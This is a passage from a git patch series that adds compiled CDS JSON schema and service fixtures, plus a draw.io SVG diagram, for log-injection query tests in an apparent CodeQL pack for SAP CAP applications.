+    "flavor": "inferred"
+  },
+  "$version": "2.0"
+}
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.json
new file mode 100644
index 000000000..a7e41e79f
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.json
@@ -0,0 +1,71 @@
+{
+  "definitions": {
+    "Service2": {
+      "@source": "srv/service2.cds",
+      "kind": "service",
+      "@protocol": "none",
+      "@path": "/service-2"
+    },
+    "Service2.Service2Entity": {
+      "kind": "entity",
+      "projection": {
+        "from": {
+          "ref": [
+            "advanced_security.log_injection.sample_entities.Entity2"
+          ]
+        },
+        "excluding": [
+          "Attribute4"
+        ]
+      },
+      "elements": {
+        "Attribute3": {
+          "type": "cds.String",
+          "length": 100
+        }
+      }
+    },
+    "Service2.send2": {
+      "kind": "action",
+      "params": {
+        "messageToPass": {
+          "type": "cds.String"
+        }
+      },
+      "returns": {
+        "type": "cds.String"
+      }
+    },
+    "advanced_security.log_injection.sample_entities.Entity1": {
+      "kind": "entity",
+      "elements": {
+        "Attribute1": {
+          "type": "cds.String",
+          "length": 100
+        },
+        "Attribute2": {
+          "type": "cds.String",
+          "length": 100
+        }
+      }
+    },
+    "advanced_security.log_injection.sample_entities.Entity2": {
+      "kind": "entity",
+      "elements": {
+        "Attribute3": {
+          "type": "cds.String",
+          "length": 100
+        },
+        "Attribute4": {
+          "type": "cds.String",
+          "length": 100
+        }
+      }
+    }
+  },
+  "meta": {
+    "creator": "CDS Compiler v4.1.2",
+    "flavor": "inferred"
+  },
+  "$version": "2.0"
+}
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/db/schema.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/db/schema.json
new file mode 100644
index 000000000..74f9430e3
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/db/schema.json
@@ -0,0 +1,36 @@
+{
+  "namespace": "advanced_security.log_injection.sample_entities",
+  "definitions": {
+    "advanced_security.log_injection.sample_entities.Entity1": {
+      "kind": "entity",
+      "elements": {
+        "Attribute1": {
+          "type": "cds.String",
+          "length": 100
+        },
+        "Attribute2": {
+          "type": "cds.String",
+          "length": 100
+        }
+      }
+    },
+    "advanced_security.log_injection.sample_entities.Entity2": {
+      "kind": "entity",
+      "elements": {
+        "Attribute3": {
+          "type": "cds.String",
+          "length": 100
+        },
+        "Attribute4": {
+          "type": "cds.String",
+          "length": 100
+        }
+      }
+    }
+  },
+  "meta": {
+    "creator": "CDS Compiler v4.1.2",
+    "flavor": "inferred"
+  },
+  "$version": "2.0"
+}
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.json
new file mode 100644
index 000000000..d8aae510a
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.json
@@ -0,0 +1,71 @@
+{
+  "definitions": {
+    "Service1": {
+      "@source": "srv/service1.cds",
+      "kind": "service",
+      "@protocol": "none",
+      "@path": "/service-1"
+    },
+    "Service1.Service1Entity": {
+      "kind": "entity",
+      "projection": {
+        "from": {
+          "ref": [
+            "advanced_security.log_injection.sample_entities.Entity1"
+          ]
+        },
+        "excluding": [
+          "Attribute2"
+        ]
+      },
+      "elements": {
+        "Attribute1": {
+          "type": "cds.String",
+          "length": 100
+        }
+      }
+    },
+    "Service1.send1": {
+      "kind": "action",
+      "params": {
+        "messageToPass": {
+          "type": "cds.String"
+        }
+      },
+      "returns": {
+        "type": "cds.String"
+      }
+    },
+    "advanced_security.log_injection.sample_entities.Entity1": {
+      "kind": "entity",
+      "elements": {
+        "Attribute1": {
+          "type": "cds.String",
+          "length": 100
+        },
+        "Attribute2": {
+          "type": "cds.String",
+          "length": 100
+        }
+      }
+    },
+    "advanced_security.log_injection.sample_entities.Entity2": {
+      "kind": "entity",
+      "elements": {
+        "Attribute3": {
+          "type": "cds.String",
+          "length": 100
+        },
+        "Attribute4": {
+          "type": "cds.String",
+          "length": 100
+        }
+      }
+    }
+  },
+  "meta": {
+    "creator": "CDS Compiler v4.1.2",
+    "flavor": "inferred"
+  },
+  "$version": "2.0"
+}
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.json
new file mode 100644
index 000000000..a7e41e79f
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.json
@@ -0,0 +1,71 @@
+{
+  "definitions": {
+    "Service2": {
+      "@source": "srv/service2.cds",
+      "kind": "service",
+      "@protocol": "none",
+      "@path": "/service-2"
+    },
+    "Service2.Service2Entity": {
+      "kind": "entity",
+      "projection": {
+        "from": {
+          "ref": [
+            "advanced_security.log_injection.sample_entities.Entity2"
+          ]
+        },
+        "excluding": [
+          "Attribute4"
+        ]
+      },
+      "elements": {
+        "Attribute3": {
+          "type": "cds.String",
+          "length": 100
+        }
+      }
+    },
+    "Service2.send2": {
+      "kind": "action",
+      "params": {
+        "messageToPass": {
+          "type": "cds.String"
+        }
+      },
+      "returns": {
+        "type": "cds.String"
+      }
+    },
+    "advanced_security.log_injection.sample_entities.Entity1": {
+      "kind": "entity",
+      "elements": {
+        "Attribute1": {
+          "type": "cds.String",
+          "length": 100
+        },
+        "Attribute2": {
+          "type": "cds.String",
+          "length": 100
+        }
+      }
+    },
+    "advanced_security.log_injection.sample_entities.Entity2": {
+      "kind": "entity",
+      "elements": {
+        "Attribute3": {
+          "type": "cds.String",
+          "length": 100
+        },
+        "Attribute4": {
+          "type": "cds.String",
+          "length": 100
+        }
+      }
+    }
+  },
+  "meta": {
+    "creator": "CDS Compiler v4.1.2",
+    "flavor": "inferred"
+  },
+  "$version": "2.0"
+}
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/db/schema.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/db/schema.json
new file mode 100644
index 000000000..74f9430e3
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/db/schema.json
@@ -0,0 +1,36 @@
+{
+  "namespace": "advanced_security.log_injection.sample_entities",
+  "definitions": {
+    "advanced_security.log_injection.sample_entities.Entity1": {
+      "kind": "entity",
+      "elements": {
+        "Attribute1": {
+          "type": "cds.String",
+          "length": 100
+        },
+        "Attribute2": {
+          "type": "cds.String",
+          "length": 100
+        }
+      }
+    },
+    "advanced_security.log_injection.sample_entities.Entity2": {
+      "kind": "entity",
+      "elements": {
+        "Attribute3": {
+          "type": "cds.String",
+          "length": 100
+        },
+        "Attribute4": {
+          "type": "cds.String",
+          "length": 100
+        }
+      }
+    }
+  },
+  "meta": {
+    "creator": "CDS Compiler v4.1.2",
+    "flavor": "inferred"
+  },
+  "$version": "2.0"
+}
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.json
new file mode 100644
index 000000000..f9bd8754e
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.json
@@ -0,0 +1,70 @@
+{
+  "definitions": {
+    "Service1": {
+      "@source": "srv/service1.cds",
+      "kind": "service",
+      "@path": "/service-1"
+    },
+    "Service1.Service1Entity": {
+      "kind": "entity",
+      "projection": {
+        "from": {
+          "ref": [
+            "advanced_security.log_injection.sample_entities.Entity1"
+          ]
+        },
+        "excluding": [
+          "Attribute2"
+        ]
+      },
+      "elements": {
+        "Attribute1": {
+          "type": "cds.String",
+          "length": 100
+        }
+      }
+    },
+    "Service1.send1": {
+      "kind": "action",
+      "params": {
+        "messageToPass": {
+          "type": "cds.String"
+        }
+      },
+      "returns": {
+        "type": "cds.String"
+      }
+    },
+    "advanced_security.log_injection.sample_entities.Entity1": {
+      "kind": "entity",
+      "elements": {
+        "Attribute1": {
+          "type": "cds.String",
+          "length": 100
+        },
+        "Attribute2": {
+          "type": "cds.String",
+          "length": 100
+        }
+      }
+    },
+    "advanced_security.log_injection.sample_entities.Entity2": {
+      "kind": "entity",
+      "elements": {
+        "Attribute3": {
+          "type": "cds.String",
+          "length": 100
+        },
+        "Attribute4": {
+          "type": "cds.String",
+          "length": 100
+        }
+      }
+    }
+  },
+  "meta": {
+    "creator": "CDS Compiler v4.1.2",
+    "flavor": "inferred"
+  },
+  "$version": "2.0"
+}
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.json
new file mode 100644
index 000000000..4e1c5c4d6
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.json
@@ -0,0 +1,70 @@
+{
+  "definitions": {
+    "Service2": {
+      "@source": "srv/service2.cds",
+      "kind": "service",
+      "@path": "/service-2"
+    },
+    "Service2.Service2Entity": {
+      "kind": "entity",
+      "projection": {
+        "from": {
+          "ref": [
+            "advanced_security.log_injection.sample_entities.Entity2"
+          ]
+        },
+        "excluding": [
+          "Attribute4"
+        ]
+      },
+      "elements": {
+        "Attribute3": {
+          "type": "cds.String",
+          "length": 100
+        }
+      }
+    },
+    "Service2.send2": {
+      "kind": "action",
+      "params": {
+        "messageToPass": {
+          "type": "cds.String"
+        }
+      },
+      "returns": {
+        "type": "cds.String"
+      }
+    },
+    "advanced_security.log_injection.sample_entities.Entity1": {
+      "kind": "entity",
+      "elements": {
+        "Attribute1": {
+          "type": "cds.String",
+          "length": 100
+        },
+        "Attribute2": {
+          "type": "cds.String",
+          "length": 100
+        }
+      }
+    },
+    "advanced_security.log_injection.sample_entities.Entity2": {
+      "kind": "entity",
+      "elements": {
+        "Attribute3": {
+          "type": "cds.String",
+          "length": 100
+        },
+        "Attribute4": {
+          "type": "cds.String",
+          "length": 100
+        }
+      }
+    }
+  },
+  "meta": {
+    "creator": "CDS Compiler v4.1.2",
+    "flavor": "inferred"
+  },
+  "$version": "2.0"
+}
\ No newline at end of file

From 3ab3c72706626b005f32f1bef2e6fd9ece599f96 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Wed, 13 Mar 2024 00:16:46 -0700
Subject: [PATCH 58/86] Check diagram svgs into repository

---
 ...log-injection-not-depending-on-request.svg | 312 ++++++++++++++++
 ...-injection-with-complete-protocol-none.svg | 292 +++++++++++++++
 ...-injection-with-service1-protocol-none.svg | 316 ++++++++++++++++
 ...-injection-with-service2-protocol-none.svg | 316 ++++++++++++++++
 .../log-injection-without-protocol-none.svg   | 340 ++++++++++++++++++
 5 files changed, 1576 insertions(+)
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/log-injection-not-depending-on-request.svg
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/log-injection-with-complete-protocol-none.svg
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/log-injection-with-service1-protocol-none.svg
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/log-injection-with-service2-protocol-none.svg
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/log-injection-without-protocol-none.svg

diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/log-injection-not-depending-on-request.svg b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/log-injection-not-depending-on-request.svg
new file mode 100644
index 000000000..c61166961
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/log-injection-not-depending-on-request.svg
@@ -0,0 +1,312 @@
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"
+    width="689px" viewBox="-0.5 -0.5 689 371"
+    content="&lt;mxfile&gt;&lt;diagram id=&quot;8rw6_X1oGD0vQjmQSmuI&quot; name=&quot;Page-1&quot;&gt;&lt;mxGraphModel dx=&quot;413&quot; dy=&quot;432&quot; grid=&quot;1&quot; gridSize=&quot;10&quot; guides=&quot;1&quot; tooltips=&quot;1&quot; connect=&quot;1&quot; arrows=&quot;1&quot; fold=&quot;1&quot; page=&quot;1&quot; pageScale=&quot;1&quot; pageWidth=&quot;850&quot; pageHeight=&quot;1100&quot; math=&quot;0&quot; shadow=&quot;0&quot;&gt;&lt;root&gt;&lt;mxCell id=&quot;0&quot;/&gt;&lt;mxCell id=&quot;1&quot; parent=&quot;0&quot;/&gt;&lt;mxCell id=&quot;3&quot; value=&quot;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;arcSize=5;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;168&quot; y=&quot;170&quot; width=&quot;240&quot; height=&quot;160&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;5&quot; value=&quot;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;arcSize=5;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;188&quot; y=&quot;200&quot; width=&quot;210&quot; height=&quot;110&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;6&quot; value=&quot;Service1&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;338&quot; y=&quot;170&quot; width=&quot;70&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;8&quot; value=&quot;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;shadow=0;fillColor=#fc0356;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;203&quot; y=&quot;110&quot; width=&quot;120&quot; height=&quot;40&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;7&quot; value=&quot;action: send1&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;218&quot; y=&quot;115&quot; width=&quot;90&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;11&quot; value=&quot;&amp;lt;font style=&amp;quot;font-size: 11px;&amp;quot;&amp;gt;new Datetime()&amp;lt;/font&amp;gt;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;203&quot; y=&quot;230&quot; width=&quot;120&quot; height=&quot;60&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;12&quot; value=&quot;OData exposed&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;shadow=0;fillColor=#fc0356;movable=1;resizable=1;rotatable=1;deletable=1;editable=1;connectable=1;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;20&quot; y=&quot;30&quot; width=&quot;100&quot; height=&quot;40&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;36&quot; value=&quot;&quot; style=&quot;edgeStyle=none;html=1;fontSize=11;&quot; parent=&quot;1&quot; source=&quot;13&quot; target=&quot;11&quot; edge=&quot;1&quot;&gt;&lt;mxGeometry relative=&quot;1&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;13&quot; value=&quot;Service1.on(&amp;quot;send1&amp;quot;)&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;fontSize=11;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;268&quot; y=&quot;200&quot; width=&quot;130&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;22&quot; value=&quot;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;arcSize=5;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;473&quot; y=&quot;170&quot; width=&quot;235&quot; height=&quot;160&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;23&quot; value=&quot;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;arcSize=5;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;493&quot; y=&quot;200&quot; width=&quot;205&quot; height=&quot;110&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;24&quot; value=&quot;Service2&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;637&quot; y=&quot;170&quot; width=&quot;70&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;25&quot; value=&quot;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;shadow=0;fillColor=#0390fc;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;507&quot; y=&quot;110&quot; width=&quot;120&quot; height=&quot;40&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;26&quot; value=&quot;action: send2&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;522&quot; y=&quot;115&quot; width=&quot;90&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;27&quot; value=&quot;&quot; style=&quot;edgeStyle=none;orthogonalLoop=1;jettySize=auto;html=1;exitX=0.5;exitY=1;exitDx=0;exitDy=0;entryX=0.5;entryY=0;entryDx=0;entryDy=0;&quot; parent=&quot;1&quot; edge=&quot;1&quot;&gt;&lt;mxGeometry width=&quot;100&quot; relative=&quot;1&quot; as=&quot;geometry&quot;&gt;&lt;mxPoint x=&quot;567&quot; y=&quot;150&quot; as=&quot;sourcePoint&quot;/&gt;&lt;mxPoint x=&quot;567&quot; y=&quot;230&quot; as=&quot;targetPoint&quot;/&gt;&lt;Array as=&quot;points&quot;/&gt;&lt;/mxGeometry&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;28&quot; value=&quot;&amp;lt;font style=&amp;quot;font-size: 11px;&amp;quot;&amp;gt;messageToPass: String&amp;lt;/font&amp;gt;&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;508&quot; y=&quot;230&quot; width=&quot;120&quot; height=&quot;60&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;29&quot; value=&quot;Service2.on(&amp;quot;send2&amp;quot;)&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;fontSize=11;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;568&quot; y=&quot;200&quot; width=&quot;130&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;30&quot; value=&quot;&quot; style=&quot;edgeStyle=none;orthogonalLoop=1;jettySize=auto;html=1;fontSize=11;&quot; parent=&quot;1&quot; edge=&quot;1&quot;&gt;&lt;mxGeometry width=&quot;100&quot; relative=&quot;1&quot; as=&quot;geometry&quot;&gt;&lt;mxPoint x=&quot;568&quot; y=&quot;290&quot; as=&quot;sourcePoint&quot;/&gt;&lt;mxPoint x=&quot;568&quot; y=&quot;360&quot; as=&quot;targetPoint&quot;/&gt;&lt;Array as=&quot;points&quot;/&gt;&lt;/mxGeometry&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;33&quot; value=&quot;STDOUT&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;shadow=0;fontSize=11;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;518&quot; y=&quot;360&quot; width=&quot;100&quot; height=&quot;40&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;34&quot; value=&quot;&quot; style=&quot;edgeStyle=segmentEdgeStyle;endArrow=classic;html=1;curved=0;rounded=0;endSize=8;startSize=8;sourcePerimeterSpacing=0;targetPerimeterSpacing=0;fontSize=11;entryX=0.5;entryY=0;entryDx=0;entryDy=0;exitX=0.5;exitY=1;exitDx=0;exitDy=0;&quot; parent=&quot;1&quot; source=&quot;11&quot; target=&quot;25&quot; edge=&quot;1&quot;&gt;&lt;mxGeometry width=&quot;100&quot; relative=&quot;1&quot; as=&quot;geometry&quot;&gt;&lt;mxPoint x=&quot;268&quot; y=&quot;290&quot; as=&quot;sourcePoint&quot;/&gt;&lt;mxPoint x=&quot;566&quot; y=&quot;100&quot; as=&quot;targetPoint&quot;/&gt;&lt;Array as=&quot;points&quot;&gt;&lt;mxPoint x=&quot;263&quot; y=&quot;380&quot;/&gt;&lt;mxPoint x=&quot;438&quot; y=&quot;380&quot;/&gt;&lt;mxPoint x=&quot;438&quot; y=&quot;90&quot;/&gt;&lt;mxPoint x=&quot;567&quot; y=&quot;90&quot;/&gt;&lt;/Array&gt;&lt;/mxGeometry&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;35&quot; value=&quot;Service2.send(&amp;quot;send2&amp;quot;)&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;fontSize=11;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;282&quot; y=&quot;350&quot; width=&quot;140&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;RCpADzFrx02nEt8xdn7a-36&quot; value=&quot;Internal only&quot; style=&quot;rounded=1;whiteSpace=wrap;html=1;shadow=0;fillColor=#0390fc;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;20&quot; y=&quot;80&quot; width=&quot;100&quot; height=&quot;40&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;37&quot; value=&quot;&quot; style=&quot;edgeStyle=none;orthogonalLoop=1;jettySize=auto;html=1;entryX=0.5;entryY=0;entryDx=0;entryDy=0;&quot; parent=&quot;1&quot; source=&quot;38&quot; target=&quot;8&quot; edge=&quot;1&quot;&gt;&lt;mxGeometry width=&quot;100&quot; relative=&quot;1&quot; as=&quot;geometry&quot;&gt;&lt;mxPoint x=&quot;263&quot; y=&quot;70&quot; as=&quot;sourcePoint&quot;/&gt;&lt;mxPoint x=&quot;360&quot; y=&quot;60&quot; as=&quot;targetPoint&quot;/&gt;&lt;Array as=&quot;points&quot;/&gt;&lt;/mxGeometry&gt;&lt;/mxCell&gt;&lt;mxCell id=&quot;38&quot; value=&quot;Outside actor&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&lt;mxGeometry x=&quot;218&quot; y=&quot;37&quot; width=&quot;90&quot; height=&quot;30&quot; as=&quot;geometry&quot;/&gt;&lt;/mxCell&gt;&lt;/root&gt;&lt;/mxGraphModel&gt;&lt;/diagram&gt;&lt;/mxfile&gt;"
+    onclick="(function(svg){var src=window.event.target||window.event.srcElement;while (src!=null&amp;&amp;src.nodeName.toLowerCase()!='a'){src=src.parentNode;}if(src==null){if(svg.wnd!=null&amp;&amp;!svg.wnd.closed){svg.wnd.focus();}else{var r=function(evt){if(evt.data=='ready'&amp;&amp;evt.source==svg.wnd){svg.wnd.postMessage(decodeURIComponent(svg.getAttribute('content')),'*');window.removeEventListener('message',r);}};window.addEventListener('message',r);svg.wnd=window.open('https://viewer.diagrams.net/?client=1&amp;page=0&amp;edit=_blank');}}})(this);"
+    style="cursor:pointer;max-width:100%;max-height:371px;">
+    <defs />
+    <g>
+        <rect x="148" y="140" width="240" height="160" rx="8" ry="8" fill="rgb(255, 255, 255)"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <rect x="168" y="170" width="210" height="110" rx="5.5" ry="5.5" fill="rgb(255, 255, 255)"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <rect x="318" y="140" width="70" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 155px; margin-left: 353px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">
+                                Service1</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="353" y="159" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">Service1</text>
+            </switch>
+        </g>
+        <rect x="183" y="80" width="120" height="40" rx="6" ry="6" fill="#fc0356"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <rect x="198" y="85" width="90" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 100px; margin-left: 243px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">action:
+                                send1</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="243" y="104" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">action: send1</text>
+            </switch>
+        </g>
+        <rect x="183" y="200" width="120" height="60" rx="9" ry="9" fill="rgb(255, 255, 255)"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 118px; height: 1px; padding-top: 230px; margin-left: 184px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">
+                                <font style="font-size: 11px;">new Datetime()</font>
+                            </div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="243" y="234" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">new Datetime()</text>
+            </switch>
+        </g>
+        <rect x="0" y="0" width="100" height="40" rx="6" ry="6" fill="#fc0356" stroke="rgb(0, 0, 0)"
+            pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 98px; height: 1px; padding-top: 20px; margin-left: 1px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">OData
+                                exposed</div>
+                        </div>
+                    </div>
+                </foreignObject>
